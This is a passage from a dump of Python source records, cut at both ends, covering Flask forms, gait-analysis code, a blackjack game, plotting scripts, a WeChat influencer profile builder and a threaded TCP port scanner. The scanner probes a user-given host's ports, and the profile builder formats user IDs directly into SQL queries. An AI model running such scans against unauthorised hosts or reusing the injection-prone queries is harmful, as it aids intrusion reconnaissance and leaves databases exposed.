0.0 < player_pos[1]:\n self.vel -= 1.0 * delta\n self.player.transform.move_y(self.vel)\n\n if player_pos[1] < 0.0:\n player_pos[1] = 0.0\n self.vel = 0.0\n self.jump = False\n\n camera.transform.set_pos(player_pos)\n camera.transform.move_up(1.0)\n camera.transform.move_front(2.0)\n\n def update(self, delta):\n self.update_player(delta)\n","sub_path":"Resource/Scripts/GameClient/GameClient.py","file_name":"GameClient.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"353901689","text":"from flask_wtf import FlaskForm\nfrom wtforms import BooleanField, FormField, FieldList, FileField, HiddenField, SelectField, StringField, TextAreaField\nfrom wtforms.validators import DataRequired, Email\n\n\nclass SubscriptionForm(FlaskForm):\n email = StringField('email', validators=[DataRequired(), Email()])\n\n\nclass UserForm(FlaskForm):\n str_email = StringField()\n user_id = HiddenField()\n admin = BooleanField('admin')\n event = BooleanField('event')\n email = BooleanField('email')\n magazine = BooleanField('magazine')\n report = BooleanField('report')\n shop = BooleanField('shop')\n announcement = BooleanField('announcement')\n article = BooleanField('article')\n\n\nclass UserListForm(FlaskForm):\n users = FieldList(FormField(UserForm), min_entries=0)\n\n def populate_user_form(self, users):\n if not self.users:\n for user in users:\n user_form = UserForm()\n user_form.user_id = user['id']\n user_form.str_email = user['email']\n\n user_form.admin = _has_access_area('admin', user['access_area'])\n user_form.event = _has_access_area('event', user['access_area'])\n user_form.email = _has_access_area('email', user['access_area'])\n user_form.magazine = _has_access_area('magazine', user['access_area'])\n user_form.report = _has_access_area('report', user['access_area'])\n user_form.shop = _has_access_area('shop', user['access_area'])\n user_form.announcement = _has_access_area('announcement', user['access_area'])\n user_form.article = _has_access_area('article', user['access_area'])\n\n self.users.append_entry(user_form)\n else:\n for user in self.users:\n found_user = [u for u in users if u['id'] == user.user_id.data]\n if found_user:\n user.str_email.data = found_user[0]['email']\n\n\ndef _has_access_area(area, user_access_area):\n if user_access_area:\n return area in user_access_area.split(',')\n return False\n\n\nclass EventForm(FlaskForm):\n\n events = SelectField('Events')\n alt_event_images = SelectField('Event Images')\n event_type = SelectField('Event type', validators=[DataRequired()])\n title = StringField('Title', validators=[DataRequired()])\n sub_title = StringField('Sub-title')\n description = TextAreaField('Description', validators=[DataRequired()])\n booking_code = StringField('Booking code')\n image_filename = FileField('Image filename')\n existing_image_filename = HiddenField('Existing image filename')\n fee = StringField('Fee')\n conc_fee = StringField('Concession fee')\n multi_day_fee = StringField('Multi day fee')\n multi_day_conc_fee = StringField('Multi day concession fee')\n venue = SelectField('Venue')\n event_dates = HiddenField()\n start_time = HiddenField()\n end_time = HiddenField()\n speakers = SelectField('Speakers')\n dates = HiddenField()\n default_event_type = HiddenField()\n submit_type = HiddenField()\n reject_reason = TextAreaField('Reject reason')\n reject_reasons_json = HiddenField()\n\n def set_events_form(self, events, event_types, speakers, venues):\n self.set_events(self.events, events, 'New event')\n self.set_events(self.alt_event_images, events, 'Or use an existing event image:')\n\n self.event_type.choices = []\n\n for i, event_type in enumerate(event_types):\n if event_type['event_type'] == 'Talk':\n self.default_event_type.data = i\n\n self.event_type.choices.append(\n (event_type['id'], event_type['event_type'])\n )\n\n self.venue.choices = []\n\n default_venue = [v for v in venues if v['default']][0]\n self.venue.choices.append(\n (default_venue['id'], u'{} - {}'.format(default_venue['name'], default_venue['address']))\n )\n\n for venue in [v for v in venues if not v['default']]:\n self.venue.choices.append(\n (venue['id'], u'{} - {}'.format(venue['name'], venue['address']))\n )\n\n self.speakers.choices = [('', ''), ('new', 'Create new speaker')]\n for speaker in speakers:\n self.speakers.choices.append((speaker['id'], speaker['name']))\n\n def set_events(self, form_select, events, first_item_text=''):\n form_select.choices = [('', first_item_text)]\n\n for event in events:\n form_select.choices.append(\n (\n event['id'],\n u'{} - {} - {}'.format(\n event['event_dates'][0]['event_datetime'], event['event_type'], event['title'])\n )\n )\n\n\nclass EmailForm(FlaskForm):\n\n emails = SelectField('Emails')\n email_types = SelectField('Email Types')\n events = SelectField('Events')\n details = TextAreaField('Details')\n extra_txt = TextAreaField('Extra text')\n submit_type = HiddenField()\n send_starts_at = HiddenField()\n email_state = HiddenField()\n expires = HiddenField()\n events_emailed = HiddenField()\n reject_reason = TextAreaField('Reject reason')\n\n def set_emails_form(self, emails, email_types, events):\n self.emails.choices = [('', 'New email')]\n email_events = []\n for email in emails:\n if email['email_type'] == 'event':\n email_events.append(email['event_id'])\n\n self.emails.choices.append(\n (\n email['id'],\n email['subject']\n )\n )\n\n self.events_emailed.data = ','.join(email_events)\n\n self.email_types.choices = []\n for email_type in email_types:\n self.email_types.choices.append(\n (\n email_type['type'],\n email_type['type']\n )\n )\n\n self.events.choices = []\n for event in events:\n self.events.choices.append(\n (\n event['id'],\n u'{} - {} - {}'.format(\n event['event_dates'][0]['event_datetime'], event['event_type'], event['title'])\n )\n )\n","sub_path":"app/main/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":6283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"199915256","text":"\n\n#calss header\nclass _DISTRIBUTE():\n\tdef __init__(self,): \n\t\tself.name = \"DISTRIBUTE\"\n\t\tself.definitions = [u'to give something out to several people, or to spread or supply something: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_distribute.py","file_name":"_distribute.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"31873500","text":"import numpy as np\nimport os\nimport multiprocessing as mp\nimport sys\nimport functools\nimport csv\nimport static\nfrom pycgm_calc import CalcAxes, CalcAngles\nfrom utils import pycgmIO\n\n\nclass pyCGM():\n\n def __init__(self, measurements, static_trial, dynamic_trial):\n\n # measurements are a dict, marker data is flat [xyzxyz...] per frame\n self.measurements = static.getStatic(static_trial, dict(zip(measurements[0], measurements[1]))) \n self.marker_data = np.array([np.asarray(list(frame.values())).flatten() for frame in dynamic_trial])\n\n # map the list of marker names to slices\n self.marker_keys = dynamic_trial[0].keys()\n self.marker_mapping = {marker_key: slice(index*3, index*3+3, 1) for index, marker_key in enumerate(self.marker_keys)}\n\n # some struct helper attributes\n self.num_frames = len(self.marker_data)\n self.num_axes = len(self.axis_result_keys)\n self.num_axis_floats_per_frame = self.num_axes * 16\n self.axis_results_shape = (self.num_frames, self.num_axes, 4, 4)\n self.num_angles = len(self.angle_result_keys)\n self.num_angle_floats_per_frame = self.num_angles * 3\n self.angle_results_shape = (self.num_frames, self.num_angles, 3)\n\n # store these for later extension\n self.axis_keys = self.axis_result_keys\n self.angle_keys = self.angle_result_keys\n\n # map axis indices for angle calcs\n self.axis_mapping = {axis: index for index, axis in enumerate(self.axis_keys)}\n\n # list of functions and their parameters\n self.current_frame = 0\n\n # list of functions whose custom parameters have been already set. this allows us to only lookup the @parameters decorator args just one time\n self.funcs_already_known = []\n\n # add non-overridden default pycgm_calc funcs to funcs list\n self.axis_funcs = [func if not hasattr(self, func.__name__) else getattr(self, func.__name__) for func in CalcAxes().funcs]\n self.angle_funcs = [func if not hasattr(self, func.__name__) else getattr(self, func.__name__) for func in CalcAngles().funcs]\n\n # map function names to indices\n self.axis_func_mapping = {function.__name__: index for index, function in enumerate(self.axis_funcs)}\n self.angle_func_mapping = {function.__name__: index for index, function in enumerate(self.angle_funcs)}\n\n # default required slices of axis functions\n self.axis_func_parameters = [\n [\n # pelvis_axis \n self.marker_mapping['RASI'],\n self.marker_mapping['LASI'],\n self.marker_mapping['RPSI'],\n self.marker_mapping['LPSI'],\n self.marker_mapping['SACR'] if 'SACR' in self.marker_mapping.keys() else None\n ],\n\n [\n # hip_axis\n ],\n\n [\n # knee_axis\n ],\n\n [\n # ankle_axis\n ],\n\n [\n # foot_axis\n ],\n\n [\n # head_axis\n ],\n\n [\n # thorax_axis\n ],\n\n [\n # shoulder_axis\n ],\n\n [\n # elbow_axis\n ],\n\n [\n # wrist_axis\n ],\n\n [\n # hand_axis\n ],\n ]\n\n self.angle_func_parameters = [\n\n [\n # pelvis_angle \n self.measurements['GCS'],\n self.axis_mapping['Pelvis']\n ],\n\n [\n # hip_angle\n ],\n\n [\n # knee_angle\n ],\n\n [\n # ankle_angle\n ],\n\n [\n # foot_angle\n ],\n\n [\n # head_angle\n ],\n\n [\n # thorax_angle\n ],\n\n [\n # neck_angle\n ],\n\n [\n # spine_angle\n ],\n\n [\n # shoulder_angle\n ],\n\n [\n # elbow_angle\n ],\n\n [\n # wrist_angle \n ]\n ]\n\n\n def parameters(*args):\n # decorator parameters are keys\n # finds key in either the marker, measurement, or axis results\n # sets function parameters accordingly and calls it properly\n\n def decorator(func):\n params = list(args)\n\n @functools.wraps(func)\n def set_required_markers(*args):\n self = args[0]\n\n try: # find func index, add params to either axis or angle parameter list\n func_index = self.axis_func_mapping[func.__name__]\n param_mapping = self.axis_func_parameters\n except KeyError:\n func_index = self.angle_func_mapping[func.__name__] \n param_mapping = self.angle_func_parameters\n\n if func not in self.funcs_already_known: # only search for parameters if they haven't already been set\n param_mapping[func_index] = [self.find(param) for param in params]\n self.funcs_already_known.append(func)\n\n func_params = [] # call the function properly\n for param in param_mapping[func_index]:\n if isinstance(param, slice): # marker data slice\n func_params.append(self.marker_data[self.current_frame][param])\n elif isinstance(param, float) or isinstance(param, list): # measurement value\n func_params.append(param)\n elif isinstance(param, int): # axis mapping index\n func_params.append(self.current_axes[param])\n else:\n func_params.append(None)\n return func(*func_params)\n return set_required_markers\n return decorator\n\n def add_function(self, name, axes=None, angles=None):\n # add a custom function to pycgm,\n\n # get func object\n func = getattr(self, name)\n\n if axes is not None and angles is not None:\n sys.exit('{} must return either an axis or an angle, not both'.format(func))\n if axes is None and angles is None:\n sys.exit('{} must return a custom axis or angle. if the axis or angle already exists by default, just extend by using the @pyCGM.parameters decorator'.format(func))\n\n # append to func list, update mapping, add empty parameters list for parameters decorator to append to\n if axes is not None: # extend axes and update\n self.axis_funcs.append(func)\n self.axis_func_parameters.append([])\n self.axis_func_mapping = {function.__name__: index for index, function in enumerate(self.axis_funcs)}\n self.axis_keys.extend(axes)\n self.num_axes = len(self.axis_keys)\n self.axis_mapping = {axis: index for index, axis in enumerate(self.axis_keys)}\n self.num_axis_floats_per_frame = self.num_axes * 16\n self.axis_results_shape = (self.num_frames, self.num_axes, 4, 4)\n\n if angles is not None: # extend angles and update \n self.angle_funcs.append(func)\n self.angle_func_mapping = {function.__name__: index for index, function in enumerate(self.angle_funcs)}\n self.angle_keys.extend(angles)\n self.num_angles = len(self.axis_keys)\n self.num_angle_floats_per_frame = self.num_axes * 3\n self.angle_results_shape = (self.num_frames, self.num_angles, 3)\n\n @property\n def angle_result_keys(self):\n # list of default angle result names\n\n return ['Pelvis', 'R Hip', 'L Hip', 'R Knee', 'L Knee', 'R Ankle',\n 'L Ankle', 'R Foot', 'L Foot',\n 'Head', 'Thorax', 'Neck', 'Spine', 'R Shoulder', 'L Shoulder',\n 'R Elbow', 'L Elbow', 'R Wrist', 'L Wrist']\n\n @property\n def axis_result_keys(self):\n # list of default axis result names\n\n return ['Pelvis', 'Hip', 'RKnee', 'LKnee', 'RAnkle', 'LAnkle', 'RFoot', 'LFoot', 'Head',\n 'Thorax', 'RClav', 'LClav', 'RHum', 'LHum', 'RRad', 'LRad', 'RHand', 'LHand']\n\n def find(self, key):\n value = None\n for mapping in [self.marker_mapping, self.measurements, self.axis_mapping]:\n try:\n value = mapping[key] \n except KeyError:\n continue\n return value\n\n\n def check_robo_results_accuracy(self, axis_results):\n # test unstructured pelvis axes against existing csv output file\n\n actual_results = np.genfromtxt('SampleData/Sample_2/RoboResults_pycgm.csv', delimiter=',')\n pelvis_OXYZ = [row[58:70] for row in actual_results]\n accurate = True\n for i, frame in enumerate(pelvis_OXYZ):\n if not np.allclose(frame[:3], axis_results[i][0][:3,3]):\n accurate = False\n if not np.allclose(frame[3:6], axis_results[i][0][0, :3]):\n accurate = False\n if not np.allclose(frame[6:9], axis_results[i][0][1, :3]):\n accurate = False\n if not np.allclose(frame[9:12], axis_results[i][0][2, :3]):\n accurate = False\n print('All pelvis results in line with RoboResults_pycgm.csv: ', accurate)\n\n def structure_trial_axes(self, axis_results):\n # takes a flat array of floats that represent the 4x4 axes at each frame\n # returns a structured array, indexed by result[optional frame slice or index][axis name]\n\n # uncomment to test against robo results pelvis\n # check_robo_results_accuracy(axis_results.reshape(self.axis_results_shape))\n\n axis_row_dtype = np.dtype([(name, 'f4', (4, 4)) for name in self.axis_keys])\n return np.array([tuple(frame) for frame in axis_results.reshape(self.axis_results_shape)], dtype=axis_row_dtype)\n\n def structure_trial_angles(self, angle_results):\n # takes a flat array of floats that represent the 3x1 angles at each frame\n # returns a structured array, indexed by result[optional frame slice or index][angle name]\n\n angle_row_dtype = np.dtype([(name, 'f4', (3,)) for name in self.angle_keys])\n return np.array([tuple(frame) for frame in angle_results.reshape(self.angle_results_shape)], dtype=angle_row_dtype)\n\n def multi_run(self, cores=None):\n # parallelize on blocks of frames \n\n flat_rows = self.marker_data\n\n # create a shared array to store axis and angle results\n shared_axes = mp.RawArray('f', self.num_frames * self.num_axes * 16)\n shared_angles = mp.RawArray('f', self.num_frames * self.num_angles * 3)\n nprocs = cores if cores is not None else os.cpu_count() - 1\n marker_data_blocks = np.array_split(flat_rows, nprocs)\n\n processes = []\n frame_index_offset = 0\n for i in range(nprocs):\n frame_count = len(marker_data_blocks[i])\n\n processes.append(mp.Process(target=self.run,\n args=(marker_data_blocks[i],\n frame_index_offset,\n frame_index_offset + frame_count,\n self.num_axis_floats_per_frame,\n self.num_angle_floats_per_frame,\n shared_axes,\n shared_angles)))\n\n frame_index_offset += frame_count\n\n for process in processes:\n process.start()\n for process in processes:\n process.join()\n\n # structure flat axis and angle results\n self.axes = self.structure_trial_axes(np.frombuffer(shared_axes, dtype=np.float32))\n self.angles = self.structure_trial_angles(np.frombuffer(shared_angles, dtype=np.float32))\n\n def run(self, frames=None, index_offset=None, index_end=None, axis_results_size=None, angle_results_size=None, shared_axes=None, shared_angles=None):\n\n flat_axis_results = np.array([], dtype=np.float32)\n flat_angle_results = np.array([], dtype=np.float32)\n\n if shared_angles is not None: # multiprocessing, write to shared memory\n shared_axes = np.frombuffer(shared_axes, dtype=np.float32)\n shared_angles = np.frombuffer(shared_angles, dtype=np.float32)\n self.current_frame = index_offset # for the decorator\n\n for frame in frames:\n flat_axis_results = np.append(flat_axis_results, self.calc(frame)[0].flatten())\n flat_angle_results = np.append(flat_angle_results, self.calc(frame)[1].flatten())\n self.current_frame += 1 # for the decorator\n\n\n shared_axes[index_offset * axis_results_size: index_end * axis_results_size] = flat_axis_results\n shared_angles[index_offset * angle_results_size: index_end * angle_results_size] = flat_angle_results\n\n else: # single core, just calculate and structure\n for frame in self.marker_data:\n flat_axis_results = np.append(flat_axis_results, self.calc(frame)[0].flatten())\n flat_angle_results = np.append(flat_angle_results, self.calc(frame)[1].flatten())\n self.current_frame += 1 # for the decorator \n\n # structure flat axis and angle results\n self.axes = self.structure_trial_axes(flat_axis_results)\n self.angles = self.structure_trial_angles(flat_angle_results)\n\n def calc(self, frame):\n axis_results = []\n angle_results = []\n\n for index, func in enumerate(self.axis_funcs): # calculate angles\n # old way: ret_axes = func(*[frame[req_slice] if isinstance(req_slice, slice) else req_slice for req_slice in self.axis_func_parameters[index]])\n # ^ did not account for axis or angle calcs requiring other axes\n\n axis_params = []\n for param in self.axis_func_parameters[index]:\n if isinstance(param, slice): # marker data slice\n axis_params.append(frame[param])\n elif isinstance(param, float) or isinstance(param, list): # measurement value\n axis_params.append(param)\n elif isinstance(param, int): # axis mapping index\n axis_params.append(axis_results[param])\n else:\n axis_params.append(None)\n\n ret_axes = func(*axis_params)\n\n if ret_axes.ndim == 3: # multiple axes returned by one function\n for axis in ret_axes:\n axis_results.append(axis)\n else:\n axis_results.append(ret_axes)\n\n self.current_axes = axis_results # for the decorator\n\n for index, func in enumerate(self.angle_funcs): # calculate angles\n angle_params = []\n for param in self.angle_func_parameters[index]:\n if isinstance(param, slice): # marker data slice\n angle_params.append(frame[param])\n elif isinstance(param, float) or isinstance(param, list): # measurement value\n angle_params.append(param)\n elif isinstance(param, int): # axis mapping index\n angle_params.append(axis_results[param])\n else:\n angle_params.append(None)\n\n ret_angles = func(*angle_params)\n\n if ret_angles.ndim == 2: # multiple angles returned by one function\n for angle in ret_angles:\n angle_results.append(angle)\n else:\n angle_results.append(ret_angles)\n \n return [np.asarray(axis_results), np.asarray(angle_results)]\n","sub_path":"prototypes/pyCGM/pyCGM.py","file_name":"pyCGM.py","file_ext":"py","file_size_in_byte":17528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"466102636","text":"# Weird BlackJack by Chiang\n\nimport random\nimport json\n\nclass Deck:\n '''Dealing with a deck of cards'''\n def __init__(self, deck_file):\n self.deck = self.open_json(deck_file)\n \n def shuffle(self):\n original_deck = {k: v for k, v in self.deck.items()}\n shuffled_deck = [i for i in self.deck.keys()]\n return original_deck, random.sample(shuffled_deck, len(shuffled_deck)) # Shuffle\n\n def open_json(self, file_path):\n with open(file_path, 'r') as f:\n my_json = json.load(f)\n return my_json\n\n\ndef play(deck, ref_deck):\n ''' Game Playing '''\n\n # To be continued...\n def draw_card():\n card_drawn = deck.pop()\n if card_drawn == 'A':\n card_drawn = 'A'\n else:\n pass\n \n return card_drawn\n\n game_state = True\n players = ['Player 1', 'Computer']\n # turn = 0 # for two or more human players\n player_card, computer_card = [], []\n\n while(game_state):\n # print(deck, ref_deck)\n\n # Cards distribution\n for i in range(len(players)*2):\n if i%2 != 0:\n player_card.append(deck.pop())\n else:\n computer_card.append(deck.pop())\n\n # print(player_card)\n # print(computer_card)\n\n # Display the desk\n player_score = sum([ref_deck[i] for i in player_card])\n computer_score = ref_deck[computer_card[0]]\n print('{} has {}. Current points: {}'.format(players[0], player_card, player_score))\n print('{} has {} and ??. Current points: {} + ??'.format(players[1], computer_card[0], computer_score))\n\n # Hit and Stay\n while(True):\n choice = input('Q: Would you like to hit or stay?: ').lower() \n\n if choice == 'hit':\n print('Take a card from the deck')\n new_card = deck.pop()\n print('You got {}'.format(new_card))\n player_card.append(new_card)\n\n player_score = sum([ref_deck[i] for i in player_card])\n print('{} has {}. Current points: {}'.format(players[0], player_card, player_score))\n\n if player_score > 21:\n print('BUST!! YOU LOST!!')\n game_state = False\n break\n else:\n continue \n\n elif choice == 'stay':\n print('{} chose to stay.'.format(players[0]))\n break\n\n # Result\n player_score = sum([ref_deck[i] for i in player_card])\n computer_score = sum([ref_deck[i] for i in computer_card])\n print('------------------- RESULT ---------------------')\n print('{} has {}. Current points: {}'.format(players[0], player_card, player_score))\n print('{} has {}. Current points: {}'.format(players[1], computer_card, computer_score))\n\n if ((player_score > computer_score) and (player_score <= 21)) or computer_score > 21:\n print('{} WON!!'.format(players[0]))\n else:\n print('{} WON!!'.format(players[1]))\n \n # End the game\n game_state = False\n\n return None\n\n\ndef main():\n print('--------------- WELCOME TO WEIRD BLACKJACK by Chiang ---------------')\n deck_obj = Deck('deck.json')\n ref_deck, deck = deck_obj.shuffle()\n\n # Start the game\n play(deck, ref_deck)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Weird BlackJack/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"4802351","text":"import preprocessData_30344565 as PD\nimport parser_30344565 as PS\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# plot graph to visualize word distribution\ndef visualizeWordDistribution(inputFile, outputImage):\n # write your code here\n with open(inputFile, 'r', encoding='utf-8') as f:\n rows_with_header = f.readlines()\n rows_without_header = rows_with_header[1:5447]\n vocsizeindicator = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] # initialize array to count vocabulary size for each interval\n for var in rows_without_header:\n try:\n parser = PS.Parser(var)\n parsedvar = parser.getVocabularySize()\n\n x = parsedvar // 10\n if (x >= 10):\n vocsizeindicator[10] += 1\n else:\n vocsizeindicator[x] += 1\n except:\n continue\n\n print(vocsizeindicator)\n y_pos = np.arange(len(vocsizeindicator))\n plt.clf()\n\n plt.bar(y_pos, vocsizeindicator, align='center', alpha=0.5)\n plt.xticks(y_pos,\n ['0-10', '10-20', '20-30', '30-40', '40-50', '50-60', '60-70', '70-80', '80-90', '90-100', 'others'])\n plt.ylabel('Number of Posts')\n plt.title('Vocabulary size distribution')\n plt.xlabel('Vocabulary Size')\n\n plt.savefig(outputImage)\n\n# visualize number of questions and answers over the quarters\ndef visualizePostNumberTrend(inputFile, outputImage):\n # write your code here\n q1a = 0\n q2a = 0\n q3a = 0\n q4a = 0\n q1q = 0\n q2q = 0\n q3q = 0\n q4q = 0\n with open(inputFile, 'r', encoding='utf-8') as f:\n rows_with_header = f.readlines()\n rows_without_header = rows_with_header[1:5447]\n for var in rows_without_header:\n try:\n parser = PS.Parser(var)\n parsedvar = parser.getDateQuarter()\n parsedvar = parsedvar[4:6]\n if parsedvar == 'Q1':\n if (parser.getPostType() == 'Question'):\n q1q += 1;\n elif (parser.getPostType() == 'Answer'):\n q1a += 1;\n pass;\n elif parsedvar == 'Q2':\n if (parser.getPostType() == 'Question'):\n q2q += 1;\n elif (parser.getPostType() == 'Answer'):\n q2a += 1;\n pass;\n elif parsedvar == 'Q3':\n if (parser.getPostType() == 'Question'):\n q3q += 1;\n elif (parser.getPostType() == 'Answer'):\n q3a += 1;\n pass;\n elif parsedvar == 'Q4':\n if (parser.getPostType() == 'Question'):\n q4q += 1;\n elif (parser.getPostType() == 'Answer'):\n q4a += 1;\n pass;\n else:\n raise TypeError\n except Exception as e:\n print(e)\n continue;\n\n qs = [q1q,q2q,q3q,q4q]\n ans = [q1a,q2a,q3a,q4a]\n x = [0,1,2,3]\n y_pos = np.arange(len(qs))\n\n plt.clf()\n questions = plt.plot(x, qs, color = 'red', label = 'Questions')\n answers = plt.plot(x, ans, color = 'blue', label = 'Answers')\n # plt.xticks(y_pos, ['Q1', 'Q2', 'Q3', 'Q4'])\n plt.xticks(y_pos,['Q1', 'Q2', 'Q3', 'Q4'])\n plt.xlabel('Year Quarters')\n leg = plt.legend(framealpha=1, frameon=True)\n plt.savefig(outputImage)\n\n# main function\nif __name__ == \"__main__\":\n f_data = \"data.xml\"\n f_wordDistribution = \"wordNumberDistribution.png\"\n f_postTrend = \"postNumberTrend.png\"\n\n visualizeWordDistribution(f_data, f_wordDistribution)\n visualizePostNumberTrend(f_data, f_postTrend)\n","sub_path":"dataVisualization_30344565.py","file_name":"dataVisualization_30344565.py","file_ext":"py","file_size_in_byte":3858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"89640313","text":"# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\n__author__ = 'jay'\n\n\n# import pandas as pd\nimport json\nimport pandas.io.sql as sql\n\n\nfrom time import clock\nfrom profile_doc import Profile, Doc\nfrom sql_api import mx_kol\nfrom basic_functions import get_keywords\n\n# some basic value\nindustry = 1\ncontent = 2\nweibo = 1\nweixin = 2\n\n####################################################################\n# mysql's select user id command\nselect_user_id = \"select userid from mx_kol.weixin_user_info\"\n\n# mysql's select tag command\nselect_tag = \"select tag from mx_kol.mx_tag where id in (select tag_id from mx_kol.kol_tag_map \\\nwhere userid = '%s' and map_tag_type=%d and kol_type=%d)\"\n\n# mysql's select text command\nselect_text = \"select ext_data, text, attitudes_count, readcount from mx_kol.weixin_kol_status where userid='%s'\"\n####################################################################\n\n\ndef contains(tags, data_line):\n \"\"\"\n calculate whether a Series object contains given tag in its 'ext_data' column;\n :param tags: common tag, unicode object\n :param data_line: pandas Series object\n :return: True if contains else False\n \"\"\"\n ext_data = data_line['ext_data']\n try:\n ext = json.loads(ext_data)\n return ext.get('content_tags', u' ') == tags\n except TypeError or ValueError:\n return False\n\n\ndef set_profile(user_id, set_weights=False):\n \"\"\"\n get basic profile for a given user id including, user_id, industry tag, content tag and its related keywords vector,\n and a whole basic keywords vector of an user\n :param user_id: user id\n :param get_dict: default False, set True if need content tag contains keyword dictionary\n :return:\n \"\"\"\n # get industry tag\n df = sql.read_frame(select_tag % (user_id, industry, weixin), mx_kol)\n industry_tag = unicode(df['tag'][0], 'utf8')\n\n # get content tags\n df = sql.read_frame(select_tag % (user_id, content, weixin), mx_kol)\n content_tags = df['tag']\n content_tags = [tag.decode('utf8') for tag in content_tags if not isinstance(tag, unicode)]\n\n # get keywords vector based on content tag\n # user's texts data in total\n text_df = sql.read_frame(select_text % user_id, mx_kol)\n contents = {}\n for content_tag in content_tags:\n f = lambda line: contains(content_tag, line)\n\n # select those data whose content tag equals given content tag\n text_df1 = text_df[text_df.apply(f, axis=1)]\n\n # rank the text data according to readcount and attitudes_count and get top 10 texts\n # value 1000 can be changed according to actual situation\n hot_value = text_df1['readcount']/1000 + text_df1['attitudes_count']\n text_df1['hot_value'] = hot_value\n text_df1 = text_df1[text_df1['hot_value'].rank(ascending=False) < 11]['text']\n text_df1 = text_df1.dropna()\n\n doc = ''\n for text in text_df1:\n doc = doc + text\n contents[content_tag] = get_keywords(doc, set_weights)\n\n # get a whole basic keywords vector\n hot_value = text_df['readcount']/1000 + text_df['attitudes_count']\n text_df['hot_value'] = hot_value\n text_df = text_df[text_df['hot_value'].rank(ascending=False) < 11]['text']\n text_df = text_df.dropna()\n doc = ''\n for text in text_df:\n doc += text if text is not None else ''\n keywords_vector = get_keywords(doc, set_weights)\n\n return industry_tag, json.dumps(contents), json.dumps(keywords_vector)\n\n\ndef set_all_profiles():\n user = sql.read_frame(select_user_id, mx_kol)\n user = user['userid']\n\n\n create_table_command = u\"\"\"\n create table user_profile\n (\n id int not null auto_increment,\n userid varchar(32) not null comment 'kol微信号',\n industry_tag text comment '行业标签',\n contents text comment '内容标签和关键词向量',\n keywords text comment '总的关键词向量',\n PRIMARY KEY (id)\n );\n \"\"\"\n insert_command = u\"insert into user_profile (userid, industry_tag, contents, keywords) values(%s, %s, %s, %s)\"\n curs = mx_kol.cursor()\n # user_profiles = []\n try:\n curs.execute(\"drop table if exists user_profile\")\n curs.execute(create_table_command)\n for user_id in user:\n industry_tag, contents, keywords = set_profile(user_id, True)\n curs.execute(insert_command, (user_id, industry_tag, contents, keywords))\n finally:\n curs.close()\n\n\nif __name__ == '__main__':\n beg = clock()\n set_all_profiles()\n end = clock()\n print(\"Run time: %.2f s\" % (end-beg))\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"profile_learner.py","file_name":"profile_learner.py","file_ext":"py","file_size_in_byte":4696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"515981569","text":"################################\n#!/usr/bin/python3 # ## ## # # ######### ######## #########\n# -*-coding:utf-8-*- # # # # # # # # # # #\n# @By: tiantian520 # # # # # # #### # # #########\n# @Time: 2020/01/04 20:22:18 # # # # # # ######## #\n################################\n \nimport socket\nimport re\nimport threading\nimport time\n \nlock = threading.Lock()\nthreads = list()\nports_list = list()\n \n \ndef judge_hostname_or_ip(target_host):\n \"\"\"判断输入的是域名还是IP地址\"\"\"\n result = re.match(\n r\"^(\\d|[1-9]\\d|1\\d\\d|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.\"\n \"(\\d|[1-9]\\d|1\\d\\d|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$\",\n target_host)\n \n if result:\n # print(result.group())\n return result.group()\n else:\n try:\n socket.setdefaulttimeout(1)\n IP = socket.gethostbyname(target_host)\n return IP\n except Exception as e:\n print(\"请正确输入网址或者ip地址...\", e)\n exit()\n \n \ndef parse_port(ports):\n \"\"\"把连接符-传输过来的值解析为对应的数字 端口范围1-65535\"\"\"\n if ports:\n try:\n res = re.match(r'(\\d+)-(\\d+)', ports)\n if res:\n if int(res.group(2)) > 65535:\n print(\"末尾端口输入有误!!....请新输入\")\n exit()\n return range(int(res.group(1)), int(res.group(2)))\n except:\n print(\"端口解析错误.....请正确输入端口范围\")\n exit()\n else:\n return [19, 21, 22, 23, 25, 31, 42, 53, 67, 69, 79, 80, 88, 99, 102, 110, 113, 119, 220, 443]\n \n \ndef test_port(host, port):\n \"\"\"测试端口是否开启\"\"\"\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((host, port))\n lock.acquire() # 加线程锁\n print(\"{}, {}端口打开\".format(host, port))\n ports_list.append(port)\n except:\n lock.acquire()\n finally:\n lock.release()\n s.close()\n \n \ndef main():\n ip = judge_hostname_or_ip(input(\"请输入域名或者IP:\"))\n l = parse_port(input(\"请输入端口范围如: 1-1024 [不输入直接回车默认扫描常见端口]:\"))\n \n t1 = time.time()\n # 每个套接字的最大超时时间\n socket.setdefaulttimeout(3)\n # 开启线程来测试\n for port in l:\n t = threading.Thread(target=test_port, args=(ip, port))\n threads.append(t) # 添加到等待线程列表里面\n t.start()\n \n for t in threads:\n t.join() # 等待线程全部执行完毕\n \n t2 = time.time()\n print(\"总共耗时:\", t2 - t1)\n print(\"IP:{}, 有{},共{}个端端口打开\".format(ip, ports_list, len(ports_list)))\n \n \nif __name__ == 